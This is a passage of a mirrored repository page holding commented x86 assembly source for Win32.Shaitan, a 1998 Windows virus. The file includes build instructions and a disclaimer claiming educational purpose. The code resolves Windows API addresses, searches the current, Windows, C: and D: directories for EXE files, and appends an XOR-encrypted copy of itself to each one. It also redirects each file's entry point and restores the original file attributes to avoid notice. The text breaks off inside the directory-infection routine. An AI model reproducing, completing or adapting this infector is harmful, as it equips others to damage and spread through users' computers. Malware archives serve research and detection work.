mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
924 lines
46 KiB
NASM
924 lines
46 KiB
NASM
|
;----------------------------------------------------------------------------
|
||
|
; Win32.Shaitan (C)opyright 1998 The Shaitan [SLAM]
|
||
|
;
|
||
|
;
|
||
|
; Win32.Shaitan is a non-resident infector of Windows 9x/NT/32s Portable
|
||
|
; Executable (PE) files.
|
||
|
;
|
||
|
;
|
||
|
; Description
|
||
|
; -----------
|
||
|
; When a file infected by Win32.Shaitan is executed, the virus looks up
|
||
|
; the current process' Import table for the address of GetModuleHandle API
|
||
|
; function. If located, the API function will be called to retrieve the base
|
||
|
; address of KERNEL32.DLL. Otherwise, a hard-coded address (0xbff70000)
|
||
|
; will be assumed. Next, using this address, the virus scans the Export Table
|
||
|
; of KERNEL32.DLL for the address of the GetProcAddress API function. Finally
|
||
|
; using this function the virus obtains addresses of all other API functions
|
||
|
; it needs (e.g CreateFileA, FindFirstFileA etc). The virus searches for and
|
||
|
; infects files in the following order:
|
||
|
; - Current Directory
|
||
|
; - Windows base directory
|
||
|
; - Directories in C:\
|
||
|
; - Directories in D:\ (after checking whether it's a CDROM drive)
|
||
|
; The file encrypts its data using a simple xor operation with 0xFF as key.
|
||
|
; Files are infected by appending the virus to the last section in the file
|
||
|
; and increasing its size. The virus uses memory-mapped files to improve
|
||
|
; performance. Infected files will grow by about 3k.
|
||
|
;
|
||
|
; Umm, that's about all folks! This is my first Win32 virus, so if something
|
||
|
; doesnt work, well... maybe next time :) The code is heavily commented, so
|
||
|
; it should be easy enough to follow (if you can't... dont ask me, i can't
|
||
|
; really follow it either! ;)
|
||
|
;
|
||
|
; Disclaimer
|
||
|
; ----------
|
||
|
; THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD
|
||
|
; RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE
|
||
|
; THE SAME.
|
||
|
;
|
||
|
; To compile, use:
|
||
|
; ----------------
|
||
|
; tasm32 /ml /m5 shaitan.asm
|
||
|
; tlink32 /c /Tpe /aa shaitan.obj, shaitan.exe, ,c:\tasm\lib\import32.lib
|
||
|
; pewrsec shaitan.exe
|
||
|
;
|
||
|
;----------------------------------------------------------------------------
|
||
|
|
||
|
.386p
|
||
|
.model flat
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; Some equates to make our code more readable :)
|
||
|
;----------------------------------------------------------------------------
|
||
|
|
||
|
L equ
|
||
|
GENERIC_READ equ 80000000h
|
||
|
GENERIC_WRITE equ 40000000h
|
||
|
GENERIC_READ_WRITE equ GENERIC_READ or GENERIC_WRITE
|
||
|
OPEN_EXISTING equ 00000003h
|
||
|
FILE_SHARE_READ equ 00000001h
|
||
|
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
||
|
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
||
|
PAGE_READWRITE equ 00000004h
|
||
|
PAGE_WRITECOPY equ 00000008h
|
||
|
FILE_MAP_WRITE equ 00000002h
|
||
|
FILE_BEGIN equ 00000000h
|
||
|
DRIVE_CDROM equ 00000005h
|
||
|
|
||
|
MAX_INFECT equ 00000005h ; Max. files to infect
|
||
|
; at one go...
|
||
|
|
||
|
FILETIME struc
|
||
|
dwLowDateTime dd ?
|
||
|
dwHighDateTime dd ?
|
||
|
FILETIME ends
|
||
|
|
||
|
WIN32_FIND_DATA struc
|
||
|
dwFileAttributes dd ?
|
||
|
ftCreationTime FILETIME ?
|
||
|
ftLastAccessTime FILETIME ?
|
||
|
ftLastWriteTime FILETIME ?
|
||
|
nFileSizeHigh dd ?
|
||
|
nFileSizeLow dd ?
|
||
|
dwReserved0 dd ?
|
||
|
dwReserved1 dd ?
|
||
|
cFileName db 260 dup (?)
|
||
|
cAlternateFileName db 14 dup (?)
|
||
|
WIN32_FIND_DATA ends
|
||
|
|
||
|
code_len equ v_end - v_start
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; Functions imported by Generation-1 -
|
||
|
;----------------------------------------------------------------------------
|
||
|
|
||
|
extrn GetModuleHandleA:PROC
|
||
|
extrn ExitProcess:PROC
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; Some dummy data for Generation-1 -
|
||
|
;----------------------------------------------------------------------------
|
||
|
.data
|
||
|
dummy_data db "SLAM Roqs!"
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; CODE section -
|
||
|
;----------------------------------------------------------------------------
|
||
|
.code
|
||
|
v_start:
|
||
|
db 0b8h ; mov eax,xxxx where xxxx
|
||
|
rva_eip dd 1000h ; is RVA of EIP (patched at
|
||
|
; infection time)
|
||
|
|
||
|
call get_delta ; Call next instruction
|
||
|
get_delta:
|
||
|
pop ebp ; Pop out address from stack
|
||
|
mov ebx,ebp ; Save it in EBX
|
||
|
sub ebp,offset get_delta ; EBP = Delta pointer!
|
||
|
|
||
|
sub ebx,eax ; Deduct RVA of EIP
|
||
|
sub ebx,0Ah ; EBX = Base address of module
|
||
|
|
||
|
push ebx ; Not really required, but...
|
||
|
call crypt ; Decrypt virus data
|
||
|
pop ebx ; Get saved EBX back
|
||
|
|
||
|
mov [module_base+ebp],ebx ; Save module base
|
||
|
mov [kernel32+ebp],0bff70000h ; Umm... Default address
|
||
|
; of KERNEL32.DLL (?)
|
||
|
|
||
|
; Now we try to retrieve the address of GetModuleHandleA from the current
|
||
|
; process's Import table...
|
||
|
get_GMHA:
|
||
|
mov esi,[module_base+ebp] ; ESI = Base address of process.
|
||
|
cmp word ptr [esi],'ZM' ; Is the base correctly assumed?.
|
||
|
jne get_GPA ; No. Quit...
|
||
|
|
||
|
xor eax,eax ; EAX = 0
|
||
|
mov ax, word ptr [esi+3ch] ; Get RVA of PE header.
|
||
|
cmp ax,0 ; No pointer to PE offset?
|
||
|
je get_GPA ; No. Can't continue...
|
||
|
mov esi,eax ; ESI = RVA of PE offset
|
||
|
add esi,[module_base+ebp] ; Convert RVA to VA.
|
||
|
cmp word ptr [esi],'EP' ; Is the PE header there?.
|
||
|
jne get_GPA ; Nope. Quit...
|
||
|
|
||
|
mov esi,[esi+80h] ; RVA of .idata section
|
||
|
add esi,[module_base+ebp] ; ESI = Start of .idata section
|
||
|
|
||
|
; Now, find the IMAGE_IMPORT_DESCRIPTOR for KERNEL32.DLL imports
|
||
|
mov eax,esi ; EAX = Start of .idata
|
||
|
find_ik32:
|
||
|
mov esi,eax ; ESI = First/next IMPORT_DESCRIPTOR.
|
||
|
mov esi,[esi+0ch] ; RVA of imported module ASCIIZ string
|
||
|
add esi,[module_base+ebp] ; RVA >> VA
|
||
|
cmp [esi],'NREK' ; IMPORT_DESCRIPTOR for K32?
|
||
|
je ik32_found ; Yes, we found it!
|
||
|
add eax,14h ; EAX = Next IMPORT_DESCRIPTOR.
|
||
|
jmp find_ik32 ; Loop till found...
|
||
|
ik32_found:
|
||
|
mov esi,eax ; ESI = K32 IMPORT_DESCRIPTOR.
|
||
|
mov ebx,[esi+10h] ; Get RVA of IMAGE_THUNK_DATA array.
|
||
|
add ebx,[module_base+ebp] ; RVA >> VA.
|
||
|
cmp dword ptr [esi],0 ; NULL "OriginalFirstThunk" field?
|
||
|
je get_GPA ; Yes, No hint-name table then :(
|
||
|
mov esi,[esi] ; Pointer to pointer!
|
||
|
add esi,[module_base+ebp] ; RVA >> VA
|
||
|
mov edx,esi ;
|
||
|
xor eax,eax ; Init EAX (for use as an index).
|
||
|
|
||
|
iAPI_loop:
|
||
|
cmp dword ptr [edx],0 ; No more RVAs?
|
||
|
je get_GPA ; Yes. Jump...
|
||
|
cmp byte ptr [edx+3],80h ; Ordinal?
|
||
|
je inc_ndx ; Yes. Skip...
|
||
|
mov esi,[edx] ; " " " " "
|
||
|
add esi,[module_base+ebp] ; " " " " "
|
||
|
add esi,2 ; ESI = Start of ASCIIZ API name.
|
||
|
mov ecx,GMH_string_len ; ECX = Length of string (API name).
|
||
|
mov edi,offset GMH_string ; EDI = String to compare with.
|
||
|
add edi,ebp ;
|
||
|
compare:
|
||
|
repe cmpsb ; Compare the 2 strings...
|
||
|
cmp ecx,0 ; Match found?
|
||
|
je API_found ; Yes! Jump...
|
||
|
inc_ndx:
|
||
|
inc eax ; No. Increment our index.
|
||
|
add edx,4 ;
|
||
|
jmp iAPI_loop ; Continue looping...
|
||
|
API_found:
|
||
|
shl eax,2 ; Multiply by 4.
|
||
|
; We had saved VA of IMAGE_THUNK_DATA array in EBX. Remember?
|
||
|
add eax,ebx ; Point to corresponding element.
|
||
|
mov eax,[eax] ; EAX = API call address
|
||
|
|
||
|
mov ebx,offset k32_string ; Offset of "KERNEL32.DLL" string
|
||
|
add ebx,ebp ; Adjust with delta
|
||
|
push ebp ; Save our delta pointer
|
||
|
push ebx ; Push parameter on the stack
|
||
|
call eax ; Call GetModuleHandleA
|
||
|
pop ebp ; Restore our delta pointer
|
||
|
|
||
|
mov [kernel32+ebp],eax ; Save address of KERNEL32.DLL
|
||
|
|
||
|
get_GPA:
|
||
|
mov esi,[kernel32+ebp] ; Point ESI to K32 base address
|
||
|
cmp word ptr [esi],'ZM' ; Is K32 really there?
|
||
|
jne quit ; Nope. Bail out now!
|
||
|
|
||
|
xor eax,eax ; EAX = 0
|
||
|
mov ax,word ptr [esi+3ch] ; Get RVA of PE header pointer.
|
||
|
cmp ax,0 ; No pointer to PE offset?
|
||
|
je quit ; No. Can't continue...
|
||
|
mov esi,eax ; ESI = RVA of PE offset
|
||
|
add esi,[kernel32+ebp] ; Convert RVA to VA.
|
||
|
cmp word ptr [esi],'EP' ; Is the PE header there?
|
||
|
jne quit ; Naw. Cannot continue...
|
||
|
|
||
|
mov eax,[esi+78h] ; PE hdr offset 78h points to .edata.
|
||
|
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||
|
xchg eax,esi ; Put VA back into ESI.
|
||
|
|
||
|
mov eax,[esi+14h] ; Get # of functions exported by K32
|
||
|
mov [NumberOfFunctions+ebp],eax ; Save.
|
||
|
|
||
|
mov eax,[esi+1ch] ; RVA of table of exported function
|
||
|
; addresses.
|
||
|
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||
|
mov [AddressOfFunctions+ebp],eax ; Save.
|
||
|
|
||
|
mov eax,[esi+20h] ; RVA of table containing API name
|
||
|
; strings.
|
||
|
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||
|
mov [AddressOfNames+ebp],eax ; Save.
|
||
|
|
||
|
mov eax,[esi+24h] ; RVA of table of export ordinals of
|
||
|
; all functions exported by name.
|
||
|
add eax,[kernel32+ebp] ; Convert RVA to VA.
|
||
|
mov [AddressOfOrdinals+ebp],eax ; Save.
|
||
|
|
||
|
xor eax,eax ; EAX = 0.
|
||
|
mov ebx,[NumberOfFunctions+ebp] ; Use EBX as a counter.
|
||
|
apisearch_loop:
|
||
|
mov esi,offset GPA_string ; API function to search for...
|
||
|
add esi,ebp ; Adjust with delta pointer...
|
||
|
mov ecx,GPA_string_len ; Length of API function name string.
|
||
|
mov edi,[AddressOfNames+ebp]; Point to start of table containing
|
||
|
add edi,eax ; API function name strings...
|
||
|
mov edi,[edi] ; " " " " "
|
||
|
add edi,[kernel32+ebp] ; " " " " "
|
||
|
cld ; Clear direction flag.
|
||
|
repe cmpsb ; Compare the two strings.
|
||
|
cmp ecx,0 ; Exact match found?.
|
||
|
je match ; Yes! Jump...
|
||
|
dec ebx ; Decrement our counter.
|
||
|
cmp ebx,0 ; Have we gone thru entire table?.
|
||
|
je quit ; Yes. API not found! Bail out...
|
||
|
add eax,4 ; No. Lets compare the next string.
|
||
|
jmp apisearch_loop ; Continue looping...
|
||
|
match:
|
||
|
shr eax,1 ; Divide by 2 (array is of WORDs).
|
||
|
add eax,[AddressOfOrdinals+ebp] ; Point to relevant element in array.
|
||
|
xor ebx,ebx ; EBX = 0.
|
||
|
mov bx,word ptr [eax] ; Get our index into AddressOfFuncs.
|
||
|
shl ebx,2 ; Multiply by 4 (array is of DWORDs).
|
||
|
add ebx,[AddressOfFunctions+ebp]; Point to relevant element in array.
|
||
|
mov eax,[ebx] ; EAX = RVA of API function address.
|
||
|
add eax,[kernel32+ebp] ; EAX = Address of API function!!!
|
||
|
|
||
|
mov [_GetProcAddress+ebp],eax ; Save address...
|
||
|
|
||
|
; Now we retrieve the addresses of all API functions that we'll be using...
|
||
|
Get_API_addresses:
|
||
|
mov edi,offset API_strings ; Point to ASCIIZ string table
|
||
|
add edi,ebp ; Adjust with delta pointer...
|
||
|
|
||
|
APIaddress_loop:
|
||
|
push edi ; Save offset of ASCIIZ API name
|
||
|
push edi ; Push onto stack for API call
|
||
|
call GetAPIAddress ; Retrieve address of API function
|
||
|
pop edi ; Restore address of ASCIIZ string
|
||
|
push eax ; Save address of API function
|
||
|
xor eax,eax ; EAX = 0
|
||
|
repne scasb ; Search for end of string
|
||
|
pop eax ; Restore address of API function
|
||
|
mov [edi],eax ; Save it...
|
||
|
add edi,4 ; Point to next ASCIIZ API string
|
||
|
cmp [edi],'SLAM' ; Was that the last string?
|
||
|
jne APIaddress_loop ; No. Loop till done...
|
||
|
|
||
|
push ebp ; Save delta pointer
|
||
|
mov eax,offset start_dir ; Buffer to store directory name
|
||
|
add eax,ebp ; Adjust with delta pointer
|
||
|
push eax ; Push parameter on stack
|
||
|
push L 128 ; Length of dirname buffer
|
||
|
mov eax,[_GetCurrentDirectory+ebp] ; Address of API to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
call InfectCurrentDirectory ; Infect files in starting directory
|
||
|
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||
|
je restore_start_dir ; Yes. Quit...
|
||
|
|
||
|
push ebp ; Save delta
|
||
|
push L 128 ; Length of dir buffer
|
||
|
mov eax,offset win_dir ; Location of dir buffer
|
||
|
add eax,ebp ; Adjust...
|
||
|
push eax ; Push location of buffer
|
||
|
mov eax,[_GetWindowsDirectory+ebp] ; API to call
|
||
|
call eax ; Call API function
|
||
|
pop ebp ; Restore delta
|
||
|
mov eax,offset win_dir ; EAX = ASCIIZ windows dir name
|
||
|
add eax,ebp ; Adjust...
|
||
|
call SetDir ; Change directory to windows dir
|
||
|
call InfectCurrentDirectory ; Infect files in it...
|
||
|
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||
|
je restore_start_dir ; Yes. Quit...
|
||
|
|
||
|
mov eax,offset root_dir_c ; Infect all dirs in C:\
|
||
|
add eax,ebp ; Adjust...
|
||
|
call Search&InfectDirs ; Infect...
|
||
|
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||
|
je restore_start_dir ; Yes. Quit...
|
||
|
|
||
|
push ebp ; Save delta
|
||
|
mov eax,offset root_dir_d ; ASCIIZ D:\
|
||
|
add eax,ebp ; Adjust with delta
|
||
|
push eax ; Push onto stack
|
||
|
mov eax,[_GetDriveType+ebp] ; API function to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta
|
||
|
cmp eax,DRIVE_CDROM ; Is this a CDROM drive?
|
||
|
je restore_start_dir ; Yes. Do not try to infect!
|
||
|
cmp eax,0 ; Drive type undeterminable?
|
||
|
je restore_start_dir ; Yes. Let's play it safe...
|
||
|
|
||
|
mov eax,offset root_dir_d ; Infect all dirs in D:\
|
||
|
add eax,ebp ; Adjust...
|
||
|
call Search&InfectDirs ; Infect...
|
||
|
|
||
|
restore_start_dir:
|
||
|
mov eax,offset start_dir ; Name of starting directory
|
||
|
add eax,ebp ; Adjust...
|
||
|
call SetDir ; Set directory back to start dir
|
||
|
|
||
|
quit:
|
||
|
push ebp ; Save delta pointer
|
||
|
mov eax,[_GetCommandLine+ebp] ; Address of API to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta pointer
|
||
|
mov edi,eax ; EDI = Address of cmdline
|
||
|
inc edi ; Inc by one (skip the ")
|
||
|
mov ecx,80h ; Search upto 80h bytes
|
||
|
mov eax,'"' ; Search for "
|
||
|
cmp byte ptr [edi-1],'"' ; Was the first byte a " ?
|
||
|
je find_end_cmdline ; Yes. Continue...
|
||
|
mov eax,' ' ; No. Look for a space then
|
||
|
find_end_cmdline:
|
||
|
repne scasb ; Search for end of string
|
||
|
cmp dword ptr [edi-12],'IAHS' ; G-1? ("SHAITAN.EXE")
|
||
|
je g1_quit ; Yup. Exit normally...
|
||
|
|
||
|
jump_to_host:
|
||
|
mov eax,[module_base+ebp] ; Get module's base address
|
||
|
add eax,[ori_ip+ebp] ; Add original EIP to it
|
||
|
push eax ; Remember .COM infection? :)
|
||
|
ret ; Jump to the original EIP!
|
||
|
|
||
|
g1_quit:
|
||
|
xor eax,eax ; EAX = 0 = Return value
|
||
|
push eax ; Push parameter on stack
|
||
|
call ExitProcess ; Call API to quit
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; GetAPIAddress - Calls GetProcAddress to retrieve address of API function
|
||
|
; pointed to by EDI.
|
||
|
;
|
||
|
; Return value: EAX = Address of API function
|
||
|
;----------------------------------------------------------------------------
|
||
|
GetAPIAddress:
|
||
|
push ebp ; Save our delta pointer
|
||
|
push edi ; EAX = ASCIIZ API string
|
||
|
mov eax,[kernel32+ebp] ; KERNEL32 base address
|
||
|
push eax ; " " " "
|
||
|
mov eax,[_GetProcAddress+ebp] ; Address of API to call
|
||
|
call eax ; Call API function
|
||
|
pop ebp ; Restore delta pointer
|
||
|
ret ; Return to caller
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; SetDir - Sets current directory to string pointed to by EAX
|
||
|
;----------------------------------------------------------------------------
|
||
|
SetDir:
|
||
|
push ebp ; Save delta pointer
|
||
|
push eax ; Push parameter on stack
|
||
|
mov eax,[_SetCurrentDirectory+ebp] ; Address of API to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta pointer
|
||
|
ret ; Return to caller
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; InfectFile - Infects filename specified in "testfile" variable
|
||
|
;
|
||
|
; Return value: On success >> 1
|
||
|
; On failure >> 0
|
||
|
;----------------------------------------------------------------------------
|
||
|
InfectFile:
|
||
|
mov [infect_status+ebp],0 ; Init. flag
|
||
|
|
||
|
push ebp ; Save delta
|
||
|
push [testfile+ebp] ; ASCIIZ filename
|
||
|
mov eax,[_GetFileAttributes+ebp] ; API to call
|
||
|
call eax ; Retrieve original attributes
|
||
|
pop ebp ; Restore delta
|
||
|
cmp eax,0ffffffffh ; Failure?
|
||
|
je infect_end ; Yes. Cannot continue...
|
||
|
mov [ori_attrib+ebp],eax ; Save original attributes
|
||
|
|
||
|
push ebp ; Save delta
|
||
|
push FILE_ATTRIBUTE_NORMAL ; Remove all attributes
|
||
|
push [testfile+ebp] ; ASCIIZ filename
|
||
|
mov eax,[_SetFileAttributes+ebp] ; API to call
|
||
|
call eax ; Remove read-only etc attrib
|
||
|
pop ebp ; Restore delta
|
||
|
cmp eax,0 ; Failure?
|
||
|
je infect_end ; Yes. Cannot continue...
|
||
|
|
||
|
open_file:
|
||
|
push ebp ; Save delta pointer
|
||
|
push L 0 ; Template file (?)
|
||
|
push FILE_ATTRIBUTE_NORMAL ; Attribute of file
|
||
|
push OPEN_EXISTING ; Open an existing file
|
||
|
push L 0 ; Security Attributes
|
||
|
push FILE_SHARE_READ ; Share mode
|
||
|
push GENERIC_READ_WRITE ; Access mode
|
||
|
push [testfile+ebp] ; ASCIIZ Filename
|
||
|
mov eax,[_CreateFileA+ebp] ; Address of API call
|
||
|
call eax ; Call API to open file
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
cmp eax,0FFFFFFFFh ; File open failed?
|
||
|
je infect_end ; Yes. Cannot proceed...
|
||
|
mov [file_handle+ebp],eax ; Save file handle
|
||
|
|
||
|
create_file_map:
|
||
|
add [new_filesize+ebp],code_len + 400h ; Inc. by this many bytes
|
||
|
|
||
|
push ebp ; Save delta pointer
|
||
|
push L 0 ; Name of mapping object
|
||
|
push [new_filesize+ebp] ; Max size of mapping object
|
||
|
push L 0 ; " " " "
|
||
|
push PAGE_READWRITE ; Read/Write access
|
||
|
push L 0 ; Security attributes
|
||
|
push [file_handle+ebp] ; Handle of file to map
|
||
|
mov eax,[_CreateFileMappingA+ebp] ; Address of API call
|
||
|
call eax ; Call API to map file
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
cmp eax,0 ; File mapping failed?
|
||
|
je close_file ; Yes. Cannot proceed...
|
||
|
mov [map_handle+ebp],eax ; Save mapping object handle
|
||
|
|
||
|
create_map_view:
|
||
|
push ebp ; Save delta pointer
|
||
|
push [new_filesize+ebp] ; No. of bytes to map
|
||
|
push L 0 ; File offset (low)
|
||
|
push L 0 ; File offset (high)
|
||
|
push FILE_MAP_WRITE ; Read/Write access
|
||
|
push [map_handle+ebp] ; Handle to mapping object
|
||
|
mov eax,[_MapViewOfFile+ebp] ; Address of API call
|
||
|
call eax ; Create a map file view
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
cmp eax,0 ; Couldn't create map file view?
|
||
|
je close_map ; Yes. Cannot proceed...
|
||
|
mov [view_address+ebp],eax ; Address of map view
|
||
|
|
||
|
fun_stuff:
|
||
|
mov eax,[ori_ip+ebp] ; Get original EIP of host
|
||
|
mov [temp_ip+ebp],eax ; Save it in a temp. variable
|
||
|
|
||
|
mov esi,[view_address+ebp] ; Get address of map view
|
||
|
cmp word ptr [esi],'ZM' ; Is it an EXE file?
|
||
|
jne close_view ; No. Cannot proceed...
|
||
|
|
||
|
cmp word ptr [esi+12h],'SW' ; Already infected?
|
||
|
je close_view ; Yes. Quit...
|
||
|
mov word ptr [esi+12h],'SW' ; Otherwise mark as infected
|
||
|
|
||
|
xor eax,eax ; EAX = 0
|
||
|
mov ax,word ptr [esi+3ch] ; Get pointer to PE header
|
||
|
cmp ax,0 ; No pointer to PE offset?
|
||
|
je close_view ; No. Jump...
|
||
|
cmp eax,[adj_filesize+ebp] ; Compare with actual filesize
|
||
|
jae close_view ; Greater? (Happened once!)
|
||
|
mov esi,eax ; ESI = RVA of PE ofset
|
||
|
add esi,[view_address+ebp] ; Convert to VA
|
||
|
cmp word ptr [esi],'EP' ; Is the PE header present?
|
||
|
jne close_view ; No. Cannot proceed...
|
||
|
mov [PE_hdr+ebp],esi ; Save VA of PE header
|
||
|
; Now ESI contains address of PE header...
|
||
|
mov eax,[esi+28h] ; Get original entry point RVA
|
||
|
mov [ori_ip+ebp],eax ; Save it...
|
||
|
mov eax,[esi+3ch] ; Get file align value
|
||
|
mov [file_align+ebp],eax ; Save it...
|
||
|
|
||
|
mov ebx,[esi+74h] ; # of entries in IMG_DATA_DIR
|
||
|
shl ebx,3 ; Multiply by 8
|
||
|
xor eax,eax ; EAX = 0
|
||
|
mov ax,word ptr [esi+6h] ; No. of sections in file
|
||
|
dec eax ; Decrease by one
|
||
|
mov ecx,28h ; Size of IMAGE_SECTION_HDR
|
||
|
mul ecx ; Multiply...
|
||
|
add esi,78h ; ESI = Addr. of IMG_DATA_DIR
|
||
|
add esi,ebx ; ESI = Addr. of section table
|
||
|
add esi,eax ; ESI = Addr. of last entry
|
||
|
|
||
|
; Now ESI is pointing to last entry in section table (usually .reloc)
|
||
|
|
||
|
; Modify the section characteristics flags... (+CEW)
|
||
|
or dword ptr [esi+24h],00000020h ; Section now contains CODE
|
||
|
or dword ptr [esi+24h],20000000h ; Section is now EXECUTABLE
|
||
|
or dword ptr [esi+24h],80000000h ; Section is now WRITEABLE
|
||
|
|
||
|
mov eax,[esi+10h] ; Get SizeOfRawdata
|
||
|
mov [ori_size_of_rawdata+ebp],eax ; Save it...
|
||
|
|
||
|
add dword ptr [esi+8h],code_len ; Inc size of VirtualSize
|
||
|
|
||
|
mov eax,[esi+8h] ; Get new size in EAX
|
||
|
mov ecx,[file_align+ebp] ; ECX = File alignment
|
||
|
div ecx ; Get remainder in EDX
|
||
|
mov ecx,[file_align+ebp] ; ECX = File alignment
|
||
|
sub ecx,edx ; No. of bytes to pad...
|
||
|
mov [esi+10h],ecx ; " " " "
|
||
|
mov eax,[esi+8h] ; Get current VirtualSize
|
||
|
add eax,[esi+10h] ; EAX = SizeOfRawdata padded
|
||
|
mov [esi+10h],eax ; Set new SizeOfRawdata
|
||
|
mov [size_of_rawdata+ebp],eax ; Also, save it...
|
||
|
|
||
|
mov eax,[esi+0ch] ; Get VirtualAddress
|
||
|
add eax,[esi+8h] ; Add VirtualSize
|
||
|
sub eax,code_len ; Deduct size of virus
|
||
|
mov [new_ip+ebp],eax ; EAX = New EIP! Save it...
|
||
|
mov [rva_eip+ebp],eax ; Patch...
|
||
|
|
||
|
mov eax,[ori_size_of_rawdata+ebp] ; Original SizeOfRawdata
|
||
|
mov ebx,[size_of_rawdata+ebp] ; New SizeOfRawdata
|
||
|
sub ebx,eax ; Increase in size
|
||
|
mov [inc_size_of_rawdata+ebp],ebx ; Save increase value...
|
||
|
mov eax,[esi+14h] ; File offset of sec's rawdata
|
||
|
add eax,[size_of_rawdata+ebp] ; Add size of new rawdata
|
||
|
mov [new_filesize+ebp],eax ; EAX = New filesize! Save...
|
||
|
mov [adj_filesize+ebp],eax ;
|
||
|
|
||
|
mov eax,[esi+14h] ; File offset of sec's rawdata
|
||
|
add eax,[esi+8h] ; Add VirtualSize of section
|
||
|
sub eax,code_len ; Deduct virus length from it
|
||
|
add eax,[view_address+ebp] ; RVA >> VA (sorta)
|
||
|
; Now EAX points to offset where we'll append the virus code...
|
||
|
|
||
|
push eax ; Save EAX
|
||
|
mov byte ptr [key+ebp],0ffh ; Set encryption key to 0xFF
|
||
|
call crypt ; Encrypt Vx data
|
||
|
pop eax ; Restore EAX
|
||
|
|
||
|
mov edi,eax ; Location to copy to...
|
||
|
mov esi,offset v_start ; Location to copy from...
|
||
|
add esi,ebp ; Adjust with delta pointer
|
||
|
mov ecx,code_len ; No. of bytes to copy
|
||
|
rep movsb ; Copy all the bytes!
|
||
|
|
||
|
call crypt ; Decrypt Vx data
|
||
|
|
||
|
mov esi,[PE_hdr+ebp] ; ESI = Addr. of PE header
|
||
|
mov eax,[new_ip+ebp] ; Get value of new EIP in EAX
|
||
|
mov [esi+28h],eax ; Write it to the PE header
|
||
|
mov eax,[inc_size_of_rawdata+ebp] ; Get inc. size of last section
|
||
|
add [esi+50h],eax ; Add it to SizeOfImage
|
||
|
|
||
|
mov eax,[temp_ip+ebp] ; Get our saved host EIP
|
||
|
mov [ori_ip+ebp],eax ; Restore...
|
||
|
|
||
|
mov [infect_status+ebp],1 ; Successful infection!
|
||
|
|
||
|
close_view:
|
||
|
push ebp ; Save delta pointer
|
||
|
push [view_address+ebp] ; Push view address on stack
|
||
|
mov eax,[_UnmapViewOfFile+ebp] ; API to call
|
||
|
call eax ; Call API to close view
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
close_map:
|
||
|
push ebp ; Save delta pointer
|
||
|
push [map_handle+ebp] ; Handle of mapping object
|
||
|
mov eax,[_CloseHandle+ebp] ; Address of API call
|
||
|
call eax ; Close mapping object
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
close_file:
|
||
|
|
||
|
truncate_file:
|
||
|
push ebp ; Save delta pointer
|
||
|
push FILE_BEGIN ; Move from start of file
|
||
|
push L 0 ; Distance to move (high)
|
||
|
push [adj_filesize+ebp] ; " " " "
|
||
|
push [file_handle+ebp] ; Handle of file
|
||
|
mov eax,[_SetFilePointer+ebp] ; API function to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta pointer
|
||
|
cmp eax,0ffffffffh ; Seek failed?
|
||
|
je final_close ; Yes. Jump...
|
||
|
|
||
|
push ebp ; Save delta pointer
|
||
|
push [file_handle+ebp] ; Handle of file to truncate
|
||
|
mov eax,[_SetEndOfFile+ebp] ; API to call
|
||
|
call eax ; Call API to truncate file
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
; Now close the file...
|
||
|
final_close:
|
||
|
push ebp ; Save delta pointer
|
||
|
push [file_handle+ebp] ; Handle of file to close
|
||
|
mov eax,[_CloseHandle+ebp] ; Address of API call
|
||
|
call eax ; Call API to close file
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
restore_attrib:
|
||
|
push ebp ; Save delta
|
||
|
push [ori_attrib+ebp] ; Original attributes
|
||
|
push [testfile+ebp] ; ASCIIZ filename
|
||
|
mov eax,[_SetFileAttributes+ebp] ; API to call
|
||
|
call eax ; Restore original attributes
|
||
|
pop ebp ; Restore delta
|
||
|
|
||
|
infect_end:
|
||
|
mov eax,[infect_status+ebp] ; Success/Failure flag
|
||
|
ret ; Return to caller
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; InfectCurrentDirectory - Infects upto 5 files in current directory
|
||
|
;----------------------------------------------------------------------------
|
||
|
InfectCurrentDirectory:
|
||
|
|
||
|
find_file:
|
||
|
push ebp ; Save delta pointer
|
||
|
mov eax,offset wfd_icd ; Returned "FileFind" info
|
||
|
add eax,ebp ; Adjust with delta...
|
||
|
push eax ; Push it onto the stack
|
||
|
mov eax,offset file_match ; Search for "*.EXE"
|
||
|
add eax,ebp ; Adjust with delta...
|
||
|
push eax ; Push it onto the stack
|
||
|
mov eax,[_FindFirstFileA+ebp] ; <<<
|
||
|
call eax ; Call API to search for file
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
cmp eax,0ffffffffh ; No match found?
|
||
|
je icd_end ; No. Cannot proceed...
|
||
|
mov [icd_search_handle+ebp],eax ; Save search handle
|
||
|
|
||
|
mov eax,offset wfd_icd.cFileName ; Get filename of match file
|
||
|
